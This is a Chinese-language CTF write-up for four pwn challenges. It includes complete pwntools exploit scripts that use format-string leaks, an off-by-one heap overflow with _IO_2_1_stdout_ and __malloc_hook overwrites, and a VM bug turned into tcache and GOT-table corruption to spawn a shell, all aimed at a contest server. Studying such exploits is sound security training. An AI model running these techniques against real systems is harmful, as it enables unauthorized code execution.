一共四个题,除了那个cpu得其他都比较简单(也有可能是VM那个我做复杂了Orz)

EASY_ABNORMAL

跟前两天得湖湘杯思路相同。不,应该说除了填充字符不一样,其他都一样。…挺枯燥得。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('pwn')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./pwn')


else:
p = remote(ip,port)
def add(content):
p.sendlineafter("CHOICE :","2")
p.sendlineafter("cnt:\n",content)
def free(index):
p.sendlineafter("CHOICE :","3")
p.sendlineafter("idx:",str(index))
def show():
p.sendlineafter("CHOICE :","4")
p.sendafter("NAME: ","%11$p")
p.sendlineafter("CHOICE :","1")
p.recvuntil("0x")
libc_addr=int(p.recv(12),16)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_ge=[0x45226,0x4527a,0xf0364,0xf1207]
libcbase_addr=libc_addr-(0x7f3e53797840-0x7f3e53777000)
print "libcbase_addr=",hex(libcbase_addr)
add("A"*8+p64(libcbase_addr+one_ge[1])*8)#0
add("A"*8+p64(libcbase_addr+one_ge[1])*8)#0
free(0)
free(1)
show()
p.recvuntil("idx 2:")
heap_addr=u64(p.recv(6).ljust(8,"\x00"))
print "heap_addr=",hex(heap_addr)

#gdb.attach(p,"b *$rebase(0x11E9)")#b *$rebase(0x11B8)
p.sendlineafter("CHOICE :","23333")
print "libc_addr=",hex(libcbase_addr)
print "libc=",hex(libcbase_addr+libc.symbols["__free_hook"]+0x40)
print "li=",hex(libcbase_addr+one_ge[3])
p.sendlineafter("INPUT:","A"*0x20+p64(heap_addr+0x30)+"\xAB")#0x7f508abc329c-0x7f508a4e0000
p.interactive()
if __name__ == '__main__':
pwn('123.56.52.128',10012,0)

lgtwo

单字节溢出,没有leak函数,通过修改IO_stdout来泄露libc地址,然后打malloc_hook就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('pwn')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./pwn')


else:
p = remote(ip,port)
def add(size,content):
p.sendlineafter(">> ","1")
p.sendlineafter("size?\n",str(size))
p.sendlineafter("content?\n",content)
def add2(size,content):
p.sendlineafter(">> ","1")
p.sendlineafter("size?",str(size))
p.sendlineafter("content?",content)
def free(index):
p.sendlineafter(">> ","2")
p.sendlineafter("index ?\n",str(index))
def free2(index):
p.sendlineafter(">> ","2")
p.sendlineafter("index ?",str(index))
def edit(index,content):
p.sendlineafter(">> ","4")
p.sendlineafter("index ?\n",str(index))
p.sendafter(" new content ?\n",content)
def edit2(index,content):
p.sendlineafter(">> ","4")
p.sendlineafter("index ?",str(index))
p.sendafter(" new content ?",content)
add(0x18,"A") #0
add(0xf8,"A") #1`
add(0x68,"A") #2
add(0x18,"A") #3
edit(0,"A"*0x18+"\x71")
free(1)
free(2)
add(0xf8,"A")#1
free(1)
add(0x120,"A")#1
edit(1,"A"*0xf8+p64(0x71)+'\xdd\x25')
add(0x68,"A")#2
add(0x68,"A")#4
edit(4,'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00')
#gdb.attach(p,"b *0x400B82")
p.recv(0x40)
libcbase_addr=u64(p.recv(6).ljust(8,"\x00"))-(0x7f441b452600-0x7f441b08d000)
print "libcbase_addr=",hex(libcbase_addr)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
malloc_hook=libcbase_addr+libc.symbols["__malloc_hook"]
one_ga=[0x45226,0x4527a,0xf0364,0xf1207]
shell=libcbase_addr+one_ga[3]
free2(2)
edit2(1,"A"*0xf8+p64(0x71)+p64(malloc_hook-0x23))
add2(0x68,"A")#2
add2(0x68,'b'*8)#2
edit2(5,'b'*(0x13-8) + p64(shell)+p64(libcbase_addr+libc.symbols["realloc"]+4))
#gdb.attach(p)
p.sendlineafter(">> ","1")
p.sendlineafter("size?","40")


p.interactive()
if __name__ == '__main__':
#pwn('123.56.52.128',45830,0)

for i in range(0x30):
try:
pwn('123.56.52.128',45830,0)
except:
pass

maj0rone

那是一个晴朗的周六,一心备战考研的鲸鱼少在忙活了一天之后看到了这个题,就随手做了。
然后说。常规libc2.23.so的UAF利用….Orz

cpu_emulator

vm题,我的vm太菜了,所以写的很辣鸡。重点就在于如下。

1
2
3
v6 = sub_400971(v5, 5LL, 21LL);
v7 = sub_400971(v5, 5LL, 16LL);
v8 = sub_400971(v5, 16LL, 0LL);

v6,v7,v8是我们在以后分支会用到的。首先分支内选择为我们输入>>26以后的结果。
那么我们要进入case 8分支,那么我们需要

1
2
3
>>> hex(8<<26)
'0x20000000'
>>>

但是我们想知道v6,v7,v8怎么控制,我们输入0x21234567测试

1
2
3
4
__int64 __fastcall sub_400971(int a1, char a2, char a3)
{
return (a1 & (unsigned int)(((1 << a2) - 1) << a3)) >> a3;
}
1
2
3
4
5
6
7
>>> hex((0x21234567 & (((1 << 5) - 1) << 21)) >> 21)
'0x9'
>>> hex((0x21234567 & (((1 << 5) - 1) << 16)) >> 16)
'0x3'
>>> hex((0x21234567 & (((1 << 16) - 1) << 0)) >> 0)
'0x4567'
>>>

可以看到,v8为后两个字节,v7为第五个比特。

1
2
3
case 0x2Bu:
*(_BYTE *)(qword_602168 + (signed int)(dword_6020E0[v6] + v8)) = dword_6020E0[v7];
break;

在0x2b分支中。可以看到可以控制v8与dword_6020E0[v6]来实现堆地址修改。
我这里将got表挂入已经free掉的tcache链表后,然后修改tcache的标志位,让程序以为链表上有这个伪造的chunk,然后申请出在got之前的堆块,修改此堆块的size。
这样伪造的堆块就到了链表头。然后改free的got表为printf,引起格式化字符串利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('emulator')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./emulator')


else:
p = remote(ip,port)
def InputVM(size,content):
p.sendlineafter(">> ",'1')
p.sendlineafter(" size:\n",str(size))
p.sendafter("instruction:\n",content)
def RunVM():
p.sendlineafter(">> ",'2')

payload=p64(0x21200321)+p64(0x21212010)+p64(0x21222020)+p64(0x21230060)+p64(0xac01ffff)
payload+=p64(0x21200322)+p64(0xac02ffff)
payload+=p64(0x21200323)+p64(0xac03ffff)
InputVM(0x300,'a')
RunVM()
InputVM(0x400,'a')
InputVM(0x300,payload)
RunVM()
payload=p32(0x3c00fffe)+p32(0x2000fdf0)
InputVM(0x1000,payload)
RunVM()
payload=p64(0x21212018)+p64(0x21222020)+p64(0x21230060)+p64(0xac00ffff)
InputVM(0x300,'b')
RunVM()
#pause()
payload=p32(0x3c000000)+p32(0x20000319)
InputVM(0x1000,payload)
RunVM()
#gdb.attach(p, "b *0x4010CF")
payload=p64(0x21212018)+p64(0x21222020)+p64(0x21230000)+p64(0xac03ffff)+p64(0x21230010)
InputVM(0x400,payload)
RunVM()


payload=p64(0x400710)*2
InputVM(0x400,payload)


InputVM(0x300,"%6$p%9$p\x00")
#gdb.attach(p,'b *0x40119E')
p.sendlineafter(">> ",'1')
p.recvuntil("0x")
stack_addr=int(p.recv(12),16)
p.recvuntil("0x")
libcbase_addr=int(p.recv(12),16)-(0x7ffff7a03bf7-0x7ffff79e2000)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
system_addr=libcbase_addr+libc.symbols["system"]
print "sysetm=",hex(system_addr)
print "system[0:2]=",hex(system_addr&0xffff)
print "system[2:4]=",hex((system_addr>>16)&0xffff)
print "libcbase_addr=",hex(libcbase_addr)
print "stack_addr=",hex(stack_addr)
p.sendlineafter(" size:\n","32")
payload="%8280c%6$hn"
p.sendafter("instruction:\n",payload)
payload="%"+str((stack_addr+2)&0xffff)+"c%11$hn"
InputVM(0x50,payload)
payload="%96c%37$hn"
InputVM(0x50,payload)
payload="%"+str((stack_addr-8)&0xffff)+"c%11$hn"
InputVM(0x50,payload)
payload="%8282c%37$hn"
InputVM(0x50,payload)
payload="%"+str((stack_addr-6)&0xffff)+"c%11$hn"
InputVM(0x50,payload)
payload="%96c%37$hn"
InputVM(0x50,payload)
payload="%"+str(system_addr&0xffff)+"c%36$hn"+"%"+str(((system_addr>>16)&0xffff)-(system_addr&0xffff))+"c%35$hn"
InputVM(0x50,payload) #35 36
#gdb.attach(p,"b *0x40119E")
InputVM(0x50,payload) #35 36
p.sendlineafter(">> ","sh")
#libc_addr=p64(p.recv(6).ljust(8,"\x00"))
#print "libc_addr=",hex(libc_addr)
p.interactive()
if __name__ == '__main__':
pwn('123.56.52.128',18236,0)

总结

我的VM的水平,真的辣鸡,一个不复杂的vm就让我淦了一天,这要是其他比赛肯定就拉了跨了。
Orz。。。。